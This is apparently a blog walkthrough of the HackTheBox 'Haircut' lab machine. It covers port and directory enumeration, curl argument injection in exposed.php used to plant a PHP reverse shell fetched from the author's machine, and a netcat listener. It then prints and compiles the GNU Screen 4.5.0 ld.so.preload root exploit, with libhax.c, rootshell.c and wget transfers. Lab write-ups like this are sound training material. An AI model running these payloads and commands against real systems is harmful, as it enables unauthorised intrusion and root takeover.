6 minute read

Machine Information

haircut

Haircut is rated medium, although compared some other boxes it is relatively simple. It’s main purpose is to demonstrate the problem with unsanitsed user inputs for CURL arguments. Skills required are basic knowledge of Linux, and enumerating ports and services. Skills learned are command injections and exploiting software vulnerabilities to escalate to root.

Details  
Hosting Site HackTheBox
Link To Machine HTB - 021 - Medium - Haircut
Machine Release Date 26th March 2017
Date I Completed It 4th June 2020
Distribution used Kali 2019.1 – Release Info

Initial Recon

Check for open ports with Nmap:

root@kali:~/htb/haircut# ports=$(nmap -p- --min-rate=1000 -T4 10.10.10.24 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
root@kali:~/htb/haircut# nmap -p$ports -v -sC -sV -oA haircut 10.10.10.24

Starting Nmap 7.80 ( https://nmap.org ) at 2020-06-04 21:42 BST
Scanning 10.10.10.24 [4 ports]
Completed Ping Scan at 21:42, 0.05s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 21:42
Completed Parallel DNS resolution of 1 host. at 21:42, 0.01s elapsed
Initiating SYN Stealth Scan at 21:42
Scanning 10.10.10.24 [2 ports]
Discovered open port 80/tcp on 10.10.10.24
Discovered open port 22/tcp on 10.10.10.24
Completed SYN Stealth Scan at 21:42, 0.05s elapsed (2 total ports)
Initiating Service scan at 21:42
Scanning 2 services on 10.10.10.24
Completed Service scan at 21:42, 6.07s elapsed (2 services on 1 host)
Nmap scan report for 10.10.10.24
Host is up (0.018s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 e9:75:c1:e4:b3:63:3c:93:f2:c6:18:08:36:48:ce:36 (RSA)
|   256 87:00:ab:a9:8f:6f:4b:ba:fb:c6:7a:55:a8:60:b2:68 (ECDSA)
|_  256 b6:1b:5c:a9:26:5c:dc:61:b7:75:90:6c:88:51:6e:54 (ED25519)
80/tcp open  http    nginx 1.10.0 (Ubuntu)
| http-methods:
|_  Supported Methods: GET HEAD
|_http-server-header: nginx/1.10.0 (Ubuntu)
|_http-title:  HTB Hairdresser
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.98 seconds
           Raw packets sent: 6 (240B) | Rcvd: 3 (128B)

Just two ports open, let have a look with gobuster:

root@kali:~# gobuster -t 100 dir -e -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://10.10.10.24 -x php
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url:            http://10.10.10.24
[+] Threads:        100
[+] Wordlist:       /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Extensions:     php
[+] Expanded:       true
[+] Timeout:        10s
===============================================================
2020/06/04 16:42:17 Starting gobuster
===============================================================
http://10.10.10.24/uploads (Status: 301)
http://10.10.10.24/exposed.php (Status: 200)
===============================================================
2020/06/04 16:49:24 Finished
===============================================================

Gaining Access

We have found a hidden folder and a php page. Let’s have a look at the site, and these as well:

bighair

Just a static image on the home page, nothing in the source, try the uploads folder we found:

forbidden

We can’t browse to it, try the php file we found:

exposed

Just a text box with with what looks to be a test file pre-entered, try clicking go:

exposed_test

The output and the picture are clues that suggest the text box is taking what is entered as a parameter, and passing it to curl. We can test this by starting a web server on our Kali machine:

root@kali:~/htb/haircut# python -m SimpleHTTPServer
Serving HTTP on 0.0.0.0 port 8000 ...

Now try entering our local IP to see if we can connect to our web server:

check_connection

We get a connection, so let’s see if we can do command injection:

try_ls

Nope, there is some level of checking against our input. Let’s see if we can get curl to display its help:

curl_help

Now we know we are passing a parameter to curl, which means we can try using -o to upload a file:

write_file

Check back at our HTTP server and we see the file was requested by the box:

root@kali:~/htb/haircut# python -m SimpleHTTPServer
Serving HTTP on 0.0.0.0 port 8000 ...
10.10.10.24 - - [04/Jun/2020 16:46:30] "GET / HTTP/1.1" 200 -
10.10.10.24 - - [04/Jun/2020 17:03:09] "GET /hello.html HTTP/1.1" 200 -

See if we can get to that file on the box:

test_file_exists

Success, so we have confirmed we can upload a file, time to put a shell on there:

root@kali:~/htb/haircut# locate shell.php
/usr/share/laudanum/php/php-reverse-shell.php
/usr/share/laudanum/php/shell.php
/usr/share/laudanum/wordpress/templates/php-reverse-shell.php
/usr/share/laudanum/wordpress/templates/shell.php
/usr/share/webshells/php/php-reverse-shell.php
/usr/share/webshells/php/findsocket/php-findsock-shell.php

root@kali:~/htb/haircut# cp /usr/share/webshells/php/php-reverse-shell.php .

Just had to edit that shell script to put my current IP in it, now upload through the web page as before:

write_reverse_shell

Back on Kali get a nc session listening:

root@kali:~/htb/haircut# nc -nlvp 1234
listening on [any] 1234 ...

Now back on box we browse to the uploaded shell:

open_shell_php

User Flag

Switch to Kali again and we have a connection:

connect to [10.10.14.13] from (UNKNOWN) [10.10.10.24] 51248
Linux haircut 4.4.0-78-generic #99-Ubuntu SMP Thu Apr 27 15:29:09 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux
 21:38:58 up  4:01,  0 users,  load average: 0.00, 0.00, 0.00
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off

First thing is upgrade to a proper shell:

$ python3 -c 'import pty;pty.spawn("/bin/bash")'
www-data@haircut:/$ ^Z
[1]+  Stopped                 nc -nlvp 1234
root@kali:~/htb/haircut# stty raw -echo
root@kali:~/htb/haircut# nc -nlvp 1234

Confirm who we are:

www-data@haircut:/$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Let’s see if we can get the user flag:

www-data@haircut:/etc$ cat /home/maria/Desktop/user.txt
<<HIDDEN>>

Privilege Escalation

We have the user flag, time to try and escalate to root. First thing I check for is SUID binaries:

www-data@haircut:/$ find / -perm -4000 2>/dev/null
/bin/ntfs-3g
/bin/ping6
/bin/fusermount
/bin/su
/bin/mount
/bin/ping
/bin/umount
/usr/bin/sudo
/usr/bin/pkexec
/usr/bin/screen-4.5.
<SNIP>

We see an old version of screen, let’s check it out:

www-data@haircut:/$ /usr/bin/screen-4.5.0 -v
Screen version 4.05.00 (GNU) 10-Dec-16

Check searchsploit for exploits:

root@kali:~/htb/haircut# searchsploit screen 4.5.0
--------------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                                   |  Path
--------------------------------------------------------------------------------- ---------------------------------
GNU Screen 4.5.0 - Local Privilege Escalation                                    | linux/local/41154.sh
GNU Screen 4.5.0 - Local Privilege Escalation (PoC)                              | linux/local/41152.txt
--------------------------------------------------------------------------------- ---------------------------------

As suspected we have found something, let’s check it out:

root@kali:~/htb/haircut# searchsploit -m linux/local/41154.sh
  Exploit: GNU Screen 4.5.0 - Local Privilege Escalation
      URL: https://www.exploit-db.com/exploits/41154
     Path: /usr/share/exploitdb/exploits/linux/local/41154.sh
File Type: Bourne-Again shell script, ASCII text executable, with CRLF line terminators

Looking at the script, we will need to manually create the files instead of letting the script do it:

root@kali:~/htb/haircut# cat << EOF > /tmp/libhax.c
> #include <stdio.h>
> #include <sys/types.h>
> #include <unistd.h>
> __attribute__ ((__constructor__))
> void dropshell(void){
>    chown("/tmp/rootshell", 0, 0);
>    chmod("/tmp/rootshell", 04755);
>    unlink("/etc/ld.so.preload");
>    printf("[+] done!\n");
> }
> EOF

File libhax.c created containing the above, now need to compile it:

root@kali:~/htb/haircut# gcc -fPIC -shared -ldl -o /tmp/libhax.so /tmp/libhax.c
/tmp/libhax.c: In function ‘dropshell’:
/tmp/libhax.c:10:5: warning: implicit declaration of function ‘chmod’ [-Wimplicit-function-declaration]
   10 |     chmod("/tmp/rootshell", 04755);
      |     ^~~~~
root@kali:~/htb/haircut# rm -f /tmp/libhax.c

Now do the second file:

root@kali:~/htb/haircut# cat << EOF > /tmp/rootshell.c
> #include <stdio.h>
> int main(void){
>     setuid(0);
>     setgid(0);
>     seteuid(0);
>     setegid(0);
>     execvp("/bin/sh", NULL, NULL);
> }
> EOF

File created, now compile this one:

root@kali:~/htb/haircut# gcc -o /tmp/rootshell /tmp/rootshell.c
/tmp/rootshell.c: In function ‘main’:
/tmp/rootshell.c:3:5: warning: implicit declaration of function ‘setuid’ [-Wimplicit-function-declaration]
    3 |     setuid(0);
      |     ^~~~~~
/tmp/rootshell.c:4:5: warning: implicit declaration of function ‘setgid’ [-Wimplicit-function-declaration]
    4 |     setgid(0);
      |     ^~~~~~
/tmp/rootshell.c:5:5: warning: implicit declaration of function ‘seteuid’ [-Wimplicit-function-declaration]
    5 |     seteuid(0);
      |     ^~~~~~~
/tmp/rootshell.c:6:5: warning: implicit declaration of function ‘setegid’ [-Wimplicit-function-declaration]
    6 |     setegid(0);
      |     ^~~~~~~
/tmp/rootshell.c:7:5: warning: implicit declaration of function ‘execvp’ [-Wimplicit-function-declaration]
    7 |     execvp("/bin/sh", NULL, NULL);
      |     ^~~~~~
/tmp/rootshell.c:7:5: warning: too many arguments to built-in function ‘execvp’ expecting 2 [-Wbuiltin-declaration-mismatch]
root@kali:~/htb/haircut# rm -f /tmp/rootshell.c

We can ignore the errors. Now get the files over to the box:

www-data@haircut:/etc$ cd /tmp

www-data@haircut:/tmp$ wget http://10.10.14.13:8000/libhax.so
--2020-06-04 22:16:06--  http://10.10.14.13:8000/libhax.so
Connecting to 10.10.14.13:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 16136 (16K) [application/octet-stream]
Saving to: 'libhax.so'
libhax.so           100%[===================>]  15.76K  --.-KB/s    in 0.02s
2020-06-04 22:16:06 (888 KB/s) - 'libhax.so' saved [16136/16136]

www-data@haircut:/tmp$ wget http://10.10.14.13:8000/rootshell
--2020-06-04 22:16:23--  http://10.10.14.13:8000/rootshell
Connecting to 10.10.14.13:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 16824 (16K) [application/octet-stream]
Saving to: 'rootshell.1'
rootshell.1         100%[===================>]  16.43K  --.-KB/s    in 0.03s
2020-06-04 22:16:23 (514 KB/s) - 'rootshell' saved [16824/16824]

Now we can try to escalate, first run screen:

www-data@haircut:/tmp$ cd /etc
www-data@haircut:/etc$ umask 000
<en -D -m -L ld.so.preload echo -ne  "\x0a/tmp/libhax.so"

www-data@haircut:/etc$ screen -ls # screen itself is setuid, so...
' from /etc/ld.so.preload cannot be preloaded (cannot open shared object file): ignored.
[+] done!
No Sockets found in /tmp/screens/S-www-data.

Root Flag

Ignore the error and run our exploit:

www-data@haircut:/etc$ /tmp/rootshell
# id
uid=0(root) gid=0(root) groups=0(root),33(www-data)

It worked, just need to get our flag:

# cat /root/root.txt
<<HIDDEN>>

All done. See you next time.

Comments